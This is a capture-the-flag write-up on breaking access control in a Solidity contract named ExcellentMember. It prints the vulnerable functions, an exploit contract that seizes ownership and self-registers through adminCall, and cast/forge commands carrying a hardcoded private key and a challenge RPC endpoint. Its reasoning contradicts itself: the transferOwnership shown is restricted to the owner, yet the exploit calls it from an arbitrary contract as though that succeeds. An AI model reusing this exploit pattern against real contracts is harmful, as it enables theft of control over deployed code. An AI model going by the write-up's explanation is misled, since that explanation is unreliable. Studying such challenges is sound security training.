Breaking Access Control in Smart Contracts

I recently encountered an interesting CTF challenge called ExcellentMember. The goal was to become an "excellent member" and solve the challenge.

Analysis

First, let's look at the contract's core structure. The contract defines several important mappings and arrays:

contract ExcellentMember is Ownable {
    bool public solved;
    mapping(address => bool) public join;
    mapping(address => bool) public excellentMember;
    address[] public excellentMembers;
}

The contract has several key functions that control access:

function adminCall(address target, bytes memory data) external payable onlyOwner returns (bytes memory) {
    (bool success, bytes memory returnData) = target.call{value: msg.value}(data);
    require(success, "Fail Low-Level call");
    return returnData;
}

function registryExcellentMember(address member) external {
    require(!excellentMember[member], "Already excellent member");
    require(join[member], "Set join");
    require(excellentMember[msg.sender] == true, "Only excellent member");
    excellentMember[member] = true;
    excellentMembers.push(member);
}

I noticed something interesting in the access control flow. The contract initializes with itself as an excellent member:

constructor() Ownable(msg.sender) {
    excellentMember[address(this)] = true;
    excellentMembers.push(address(this));    
}

The vulnerability becomes clear when you look at how the access control is implemented. The registryExcellentMember function can be called through adminCall, which bypasses the excellentMember[msg.sender] check because the call originates from the contract itself.

Digging Deeper

Let's look at the ownership transfer capability:

function transferOwnership(address newOwner) public virtual onlyOwner {
    owner = newOwner;
}

The contract allows ownership transfer, which combined with the low-level call functionality creates an interesting attack vector. When adminCall is used to call registryExcellentMember:

• msg.sender is the contract itself
• The contract is already an excellent member
• The access control check excellentMember[msg.sender] == true passes

The key vulnerability is in the interaction between ownership transfer and low-level calls. This allows us to:

1. Take ownership of the contract
2. Use adminCall to register ourselves as an excellent member
3. Call solve() to complete the challenge

Crafting the Exploit

The exploit needed three parts:

1. Set our join status
2. Deploy a malicious contract to handle the ownership transfer and registration
3. Call solve from our EOA

Here's the solution contract I wrote:

contract Solve {
    ExcellentMember public chall;

    constructor (address _chall) {
        chall = ExcellentMember(_chall);
        chall.transferOwnership(address(this));
        bytes memory data = abi.encodeWithSignature("registryExcellentMember(address)", address(msg.sender)); 
        chall.adminCall(address(chall), data);
    }
}

And here's the sequence of transactions needed:

# Set join status
cast send --private-key 0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8 \
    --rpc-url http://host6.dreamhack.games:22022/383fe87a2e65/rpc \
    0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451 "setJoin(bool)" true

# Deploy Solve contract
forge create Solve \
    --private-key 0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8 \
    --rpc-url http://host6.dreamhack.games:22022/383fe87a2e65/rpc \
    --constructor-args 0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451

# Call solve
cast send --private-key 0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8 \
    --rpc-url http://host6.dreamhack.games:22022/383fe87a2e65/rpc \
    0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451 "solve()"

The Attack Flow

The exploit works by:

1. Setting our join status to true through setJoin
2. Deploying the Solve contract which:
   • Takes ownership of the challenge contract
   • Uses adminCall to register our address as an excellent member
3. Calling solve() from our EOA to complete the challenge

Lessons Learned

This challenge was a great example of how access control can be bypassed through careful manipulation of contract state and ownership. The fix would be simple - either remove the ability to transfer ownership, add additional checks in adminCall to prevent calling sensitive functions, or use a more robust access control system like OpenZeppelin's AccessControl.

The vulnerability shows how seemingly secure access controls can be bypassed through careful manipulation of contract state and ownership. It's crucial to consider the implications of ownership transfer capabilities and low-level calls when designing smart contracts.

References

• OpenZeppelin AccessControl
• Solidity Low-Level Calls
• Ownable Pattern